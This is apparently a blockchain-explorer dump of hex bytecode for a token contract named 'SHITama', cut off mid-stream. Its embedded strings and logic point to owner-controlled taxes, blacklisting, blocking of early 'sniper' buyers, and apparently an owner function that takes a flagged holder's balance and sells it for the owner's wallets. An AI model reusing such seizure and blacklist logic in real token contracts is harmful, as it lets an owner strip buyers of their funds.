c183613d76565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156148f6576148f5614279565b5b828201905092915050565b7f7478206c696d697420746f6f206c6f7700000000000000000000000000000000600082015250565b6000614937601083613c68565b915061494282614901565b602082019050919050565b600060208201905081810360008301526149668161492a565b9050919050565b7f77616c6c6574206c696d697420746f6f206c6f77000000000000000000000000600082015250565b60006149a3601483613c68565b91506149ae8261496d565b602082019050919050565b600060208201905081810360008301526149d281614996565b9050919050565b7f6e6f74206120736e697065720000000000000000000000000000000000000000600082015250565b6000614a0f600c83613c68565b9150614a1a826149d9565b602082019050919050565b60006020820190508181036000830152614a3e81614a02565b9050919050565b7f4e6f20746f6b656e730000000000000000000000000000000000000000000000600082015250565b6000614a7b600983613c68565b9150614a8682614a45565b602082019050919050565b60006020820190508181036000830152614aaa81614a6e565b9050919050565b7f54617820746f6f20686967680000000000000000000000000000000000000000600082015250565b6000614ae7600c83613c68565b9150614af282614ab1565b602082019050919050565b60006020820190508181036000830152614b1681614ada565b9050919050565b6000614b2882613f2c565b9150614b3383613f2c565b92508160ff0483118215151615614b4d57614b4c614279565b5b828202905092915050565b6000819050919050565b6000614b7d614b78614b7384613d18565b614b58565b613d18565b9050919050565b6000614b8f82614b62565b9050919050565b6000614ba182614b84565b9050919050565b614bb181614b96565b82525050565b6000602082019050614bcc6000830184614ba8565b92915050565b6000614bdd82613e4c565b915061ffff821415614bf257614bf1614279565b5b600182019050919050565b6000614c0882613d18565b9150614c1383613d18565b925082614c2357614c22614480565b5b828206905092915050565b7f476173207072696365206f766572206c696d6974000000000000000000000000600082015250565b6000614c64601483613c68565b9150614c6f82614c2e565b602082019050919050565b60006020820190508181036000830152614c9381614c57565b9050919050565b7f626c61636b6c6973746564000000000000000000000000000000000000000000600082015250565b6000614cd0600b83613c68565b9150614cdb82614c9a565b602082019050919050565b60006020820190508181036000830152614cff81614cc3565b9050919050565b7f54582065786365656473206c696d697473000000000000000000000000000000600082015250565b6000614d3c601183613c68565b9150614d4782614d06565b602082019050919050565b60006020820190508181036000830152614d6b81614d2f565b9050919050565b6000819050919050565b6000614d97614d92614d8d84614d72565b614b58565b613d76565b9050919050565b614da781614d7c565b82525050565b600060c082019050614dc26000830189614069565b614dcf6020830188613e22565b614ddc6040830187614d9e565b614de96060830186614d9e565b614df66080830185614069565b614e0360a0830184613e22565b979650505050505050565b600081519050614e1d81613d80565b92915050565b600080600060608486031215614e3c57614e3b613bb5565b5b6000614e4a86828701614e0e565b9350506020614e5b86828701614e0e565b9250506040614e6c86828701614e0e565b9150509250925092565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b614f0981613d38565b82525050565b6000614f1b8383614f00565b60208301905092915050565b6000602082019050919050565b6000614f3f82614ed4565b614f498185614edf565b9350614f5483614ef0565b8060005b83811015614f85578151614f6c8882614f0f565b9750614f7783614f27565b925050600181019050614f58565b5085935050505092915050565b600060a082019050614fa76000830188613e22565b614fb46020830187614d9e565b8181036040830152614fc68186614f34565b9050614fd56060830185614069565b614fe26080830184613e22565b969550505050505056fea2646970667358221220a807732826bb43f5d2395e45f9cf39221a7f8a0cbf4bc2146faf8aee11dcc7ce64736f6c634300080b00330000000000000000000000000000000000000000000000000000000037086c56000000000000000000000000000000000000000000000000000000001c574561

Deployed Bytecode

0x6080604052600436106102125760003560e01c8063893d20e811610118578063dca2a8b6116100a0578063eb8199481161006f578063eb8199481461075d578063ed7b6bb514610788578063f2fde38b1461079f578063fe575a87146107c8578063ffb54a991461080557610219565b8063dca2a8b6146106b5578063dd62ed3e146106cc578063e461c22114610709578063e79d41601461073257610219565b8063a9059cbb116100e7578063a9059cbb146105d0578063aa4bde281461060d578063b142180314610638578063d9f0b37014610661578063db8615991461068a57610219565b8063893d20e8146105125780638bfd1d8e1461053d5780638c0b5e221461057a57806395d89b41146105a557610219565b8063298315131161019b5780636969c1a41161016a5780636969c1a41461044157806370a082311461046a578063715018a6146104a7578063740bf497146104be57806383dcebb1146104e757610219565b80632983151314610399578063313ce567146103c257806361a28042146103ed578063691f224f1461041657610219565b80631c939ee9116101e25780631c939ee9146102da5780631cbbe3e4146102f1578063202480411461030857806323b872dd1461033157806324024efd1461036e57610219565b8062fffc9d1461021e57806306fdde0314610247578063095ea7b31461027257806318160ddd146102af57610219565b3661021957005b600080fd5b34801561022a57600080fd5b5061024560048036038101906102409190613bf6565b610830565b005b34801561025357600080fd5b5061025c610950565b6040516102699190613cf6565b60405180910390f35b34801561027e57600080fd5b5061029960048036038101906102949190613dac565b61098d565b6040516102a69190613e07565b60405180910390f35b3480156102bb57600080fd5b506102c4610aec565b6040516102d19190613e31565b60405180910390f35b3480156102e657600080fd5b506102ef610b11565b005b3480156102fd57600080fd5b50610306610baa565b005b34801561031457600080fd5b5061032f600480360381019061032a9190613e86565b610c88565b005b34801561033d57600080fd5b5061035860048036038101906103539190613ed9565b610dd0565b6040516103659190613e07565b60405180910390f35b34801561037a57600080fd5b50610383610fd9565b6040516103909190613f48565b60405180910390f35b3480156103a557600080fd5b506103c060048036038101906103bb9190613f8f565b610fec565b005b3480156103ce57600080fd5b506103d76110d5565b6040516103e49190613f48565b60405180910390f35b3480156103f957600080fd5b50610414600480360381019061040f9190613f8f565b6110de565b005b34801561042257600080fd5b5061042b6111c7565b6040516104389190613f48565b60405180910390f35b34801561044d57600080fd5b5061046860048036038101906104639190613fcf565b6111da565b005b34801561047657600080fd5b50610491600480360381019061048c9190613ffc565b6117cd565b60405161049e9190613e31565b60405180910390f35b3480156104b357600080fd5b506104bc611816565b005b3480156104ca57600080fd5b506104e560048036038101906104e09190614029565b61191f565b005b3480156104f357600080fd5b506104fc611ae3565b6040516105099190613f48565b60405180910390f35b34801561051e57600080fd5b50610527611af6565b6040516105349190614078565b60405180910390f35b34801561054957600080fd5b50610564600480360381019061055f9190613ffc565b611b1f565b6040516105719190613e31565b60405180910390f35b34801561058657600080fd5b5061058f611b68565b60405161059c9190613e31565b60405180910390f35b3480156105b157600080fd5b506105ba611b6e565b6040516105c79190613cf6565b60405180910390f35b3480156105dc57600080fd5b506105f760048036038101906105f29190613dac565b611bab565b6040516106049190613e07565b60405180910390f35b34801561061957600080fd5b50610622611c07565b60405161062f9190613e31565b60405180910390f35b34801561064457600080fd5b5061065f600480360381019061065a9190614093565b611c0d565b005b34801561066d57600080fd5b5061068860048036038101906106839190613ffc565b611dcd565b005b34801561069657600080fd5b5061069f61213c565b6040516106ac9190613e31565b60405180910390f35b3480156106c157600080fd5b506106ca612142565b005b3480156106d857600080fd5b506106f360048036038101906106ee9190614029565b61222c565b6040516107009190613e31565b60405180910390f35b34801561071557600080fd5b50610730600480360381019061072b91906140ff565b6122b3565b005b34801561073e57600080fd5b50610747612407565b6040516107549190614161565b60405180910390f35b34801561076957600080fd5b5061077261241b565b60405161077f9190613e31565b60405180910390f35b34801561079457600080fd5b5061079d612421565b005b3480156107ab57600080fd5b506107c660048036038101906107c191906141ba565b6124f5565b005b3480156107d457600080fd5b506107ef60048036038101906107ea9190613ffc565b6125fd565b6040516107fc9190613e07565b60405180910390f35b34801561081157600080fd5b5061081a612658565b6040516108279190613e07565b60405180910390f35b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146108be576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108b590614259565b60405180910390fd5b8263ffffffff168463ffffffff166009600a6108da91906143db565b641010b872006108ea9190614426565b6108f49190614426565b6108fe91906144af565b6008819055508063ffffffff168263ffffffff166009600a61092091906143db565b641010b872006109309190614426565b61093a9190614426565b61094491906144af565b60098190555050505050565b60606040518060400160405280600781526020017f53484954616d6100000000000000000000000000000000000000000000000000815250905090565b600043600c541180156109ea5750600d60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156109fc576109fb3343600161266b565b5b81600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92584604051610ada9190613e31565b60405180910390a36001905092915050565b60006009600a610afc91906143db565b641010b87200610b0c9190614426565b905090565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610b9f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b9690614259565b60405180910390fd5b610ba847612795565b565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610c38576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c2f90614259565b60405180910390fd5b43600c5411610c7c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c739061452c565b60405180910390fd5b610c866000612933565b565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610d16576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d0d90614259565b60405180910390fd5b6103e8818385610d26919061454c565b610d30919061454c565b61ffff1614610d74576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d6b906145d0565b60405180910390fd5b82600b60056101000a81548161ffff021916908361ffff16021790555081600b60076101000a81548161ffff021916908361ffff16021790555080600b60096101000a81548161ffff021916908361ffff160217905550505050565b6000610dda612963565b610e19576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e109061463c565b60405180910390fd5b7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414610fc55781600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f44919061465c565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b610fd08484846129e9565b90509392505050565b600b60039054906101000a900460ff1681565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461107a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161107190614259565b60405180910390fd5b80600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b60006009905090565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461116c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161116390614259565b60405180910390fd5b80600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b600b60029054906101000a900460ff1681565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611268576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161125f90614259565b60405180910390fd5b600560009054906101000a900460ff16156112b8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112af906146dc565b60405180910390fd5b600081116112fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112f290614748565b60405180910390fd5b6001600d60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600d60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600d6000600f60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600d6000601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600047905081811015611508576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114ff906147b4565b60405180910390fd5b6000611513306117cd565b905060008111611558576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154f90614820565b60405180910390fd5b6000601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156115c7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115eb9190614855565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611674573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116989190614855565b6040518363ffffffff1660e01b81526004016116b5929190614882565b6020604051808303816000875af11580156116d4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116f89190614855565b90506001600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600d60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506117b3826130e4565b6117bf828560006132ce565b6117c76133ac565b50505050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146118a4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161189b90614259565b60405180910390fd5b60008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc68616360006040516119159190614078565b60405180910390a1565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146119ad576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119a490614259565b60405180910390fd5b81600f60016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b600b60049054906101000a900460ff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000600e60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60065481565b60606040518060400160405280600781526020017f53484954616d6100000000000000000000000000000000000000000000000000815250905090565b6000611bb5612963565b611bf4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611beb9061463c565b60405180910390fd5b611bff3384846129e9565b905092915050565b60075481565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611c9b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c9290614259565b60405180910390fd5b600060016103e88461ffff166009600a611cb591906143db565b641010b87200611cc59190614426565b611ccf9190614426565b611cd991906144af565b611ce391906148ab565b9050600654811015611d2a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d219061494d565b60405180910390fd5b80600681905550600060016103e88461ffff166009600a611d4b91906143db565b641010b87200611d5b9190614426565b611d659190614426565b611d6f91906144af565b611d7991906148ab565b9050600754811015611dc0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611db7906149b9565b60405180910390fd5b8060078190555050505050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611e5b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e5290614259565b60405180910390fd5b6001601060146101000a81548160ff0219169083151502179055506000600e60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541415611ef9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ef090614a25565b60405180910390fd5b6000611f04826117cd565b905060008111611f49576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f4090614820565b60405180910390fd5b80600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611f94919061465c565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555080600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461202291906148ab565b600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516120c29190613e31565b60405180910390a3600060016002836120db91906144af565b6120e5919061465c565b905060004790506120f5826134e6565b60008147612103919061465c565b905061210e836130e4565b61211a838260006132ce565b505050506000601060146101000a81548160ff02191690831515021790555050565b60095481565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146121d0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121c790614259565b60405180910390fd5b60006121db306117cd565b905060008111612220576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161221790614a91565b60405180910390fd5b612229816134e6565b50565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614612341576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161233890614259565b60405180910390fd5b600760ff168360ff161115801561235f5750600760ff168260ff1611155b80156123725750600760ff168160ff1611155b6123b1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123a890614afd565b60405180910390fd5b82600b60026101000a81548160ff021916908360ff16021790555081600b60036101000a81548160ff021916908360ff16021790555080600b60046101000a81548160ff021916908360ff160217905550505050565b600b60009054906101000a900461ffff1681565b60085481565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146124af576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124a690614259565b60405180910390fd5b6000600b60026101000a81548160ff021916908360ff160217905550600760026124d99190614b1d565b600b60036101000a81548160ff021916908360ff160217905550565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614612583576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161257a90614259565b60405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc686163816040516125f29190614bb7565b60405180910390a150565b600080600e60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541461264e5760019050612653565b600090505b919050565b600560009054906101000a900460ff1681565b600d60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615801561270457506000600e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054145b156127905781600e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550801561278f57600b600081819054906101000a900461ffff168092919061277390614bd2565b91906101000a81548161ffff021916908361ffff160217905550505b5b505050565b6000600b60099054906101000a900461ffff16600b60079054906101000a900461ffff166127c3919061454c565b90506000600b60079054906101000a900461ffff1661ffff16111561287a57600f60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc8261ffff16600b60079054906101000a900461ffff1661ffff16856128439190614426565b61284d91906144af565b9081150290604051600060405180830381858888f19350505050158015612878573d6000803e3d6000fd5b505b6000600b60099054906101000a900461ffff1661ffff16111561292f57601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc8261ffff16600b60099054906101000a900461ffff1661ffff16856128f89190614426565b61290291906144af565b9081150290604051600060405180830381858888f1935050505015801561292d573d6000803e3d6000fd5b505b5050565b43600c54118061294557506000600c54145b15612960578060ff164361295991906148ab565b600c819055505b50565b60008060009050600560009054906101000a900460ff161561298857600190506129e2565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163273ffffffffffffffffffffffffffffffffffffffff1614156129e157600190505b5b8091505090565b600043600c541115612b24577f000000000000000000000000000000000000000000000000000000001c57456163ffffffff167f0000000000000000000000000000000000000000000000000000000037086c5663ffffffff1684612a4e9190614bfd565b73ffffffffffffffffffffffffffffffffffffffff161415612a7957612a746001612933565b612b1f565b6000600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541415612ad257612acd8343600161266b565b612b1e565b612b1d83600e60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600061266b565b5b5b612c36565b6000600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414612bb757612bb683600e60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600061266b565b5b600f60009054906101000a900460ff1660ff16600c54612bd791906148ab565b43108015612bf5575064174876e80048612bf191906148ab565b3a10155b15612c35576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612c2c90614c7a565b60405180910390fd5b5b600560009054906101000a900460ff168015612c9257506000600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414155b8015612cdc575043600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054105b15612d1c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612d1390614ce6565b60405180910390fd5b601060149054906101000a900460ff16158015612d825750600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15612d9057612d8f613705565b5b3073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015612df857503073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015612e50575060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b15612e9f57612e5f838361386b565b612e9e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612e9590614d52565b60405180910390fd5b5b6000612eac8585856139ab565b905060008184612ebc919061465c565b905083600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612f09919061465c565b600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000821115612fe45781600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612fa091906148ab565b600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b80600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461302f91906148ab565b600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040516130cf9190613e31565b60405180910390a36001925050509392505050565b80600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410156132cb577fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9257fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040516132c29190613e31565b60405180910390a35b50565b6000816132f95760008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690505b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71984308760008087426040518863ffffffff1660e01b815260040161336096959493929190614dad565b60606040518083038185885af115801561337e573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906133a39190614e23565b50505050505050565b6006436133b991906148ab565b600c819055506009600a6133cd91906143db565b6103e86009600a6133de91906143db565b641010b872006133ee9190614426565b60056133fa9190614426565b61340491906144af565b61340e91906148ab565b6006819055506009600a61342291906143db565b6103e86009600a61343391906143db565b641010b872006134439190614426565b600561344f9190614426565b61345991906144af565b61346391906148ab565b6007819055506007600b60026101000a81548160ff021916908360ff160217905550600760026134939190614b1d565b600b60036101000a81548160ff021916908360ff1602179055506007600b60046101000a81548160ff021916908360ff1602179055506001600560006101000a81548160ff021916908315150217905550565b6134ef816130e4565b6000600267ffffffffffffffff81111561350c5761350b614e76565b5b60405190808252806020026020018201604052801561353a5781602001602082028036833780820191505090505b509050308160008151811061355257613551614ea5565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156135f9573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061361d9190614855565b8160018151811061363157613630614ea5565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016136cf959493929190614f92565b600060405180830381600087803b1580156136e957600080fd5b505af11580156136fd573d6000803e3d6000fd5b505050505050565b6001601060146101000a81548160ff021916908315150217905550600061372b306117cd565b9050600854811015801561374b5750600560009054906101000a900460ff165b1561384d57600954811061375f5760095490505b600060026103e8600b60059054906101000a900461ffff1661ffff16846137869190614426565b61379091906144af565b61379a91906144af565b9050600081836137aa919061465c565b905060004790506137ba826134e6565b600081476137c8919061465c565b90506000600b60059054906101000a900461ffff1661ffff16111561382f5760006103e8600b60059054906101000a900461ffff1661ffff168361380c9190614426565b61381691906144af565b9050613821856130e4565b61382d858260006132ce565b505b600047905060008111156138475761384681612795565b5b50505050505b506000601060146101000a81548160ff021916908315150217905550565b60008060019050600560009054906101000a900460ff1680156138d85750600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460f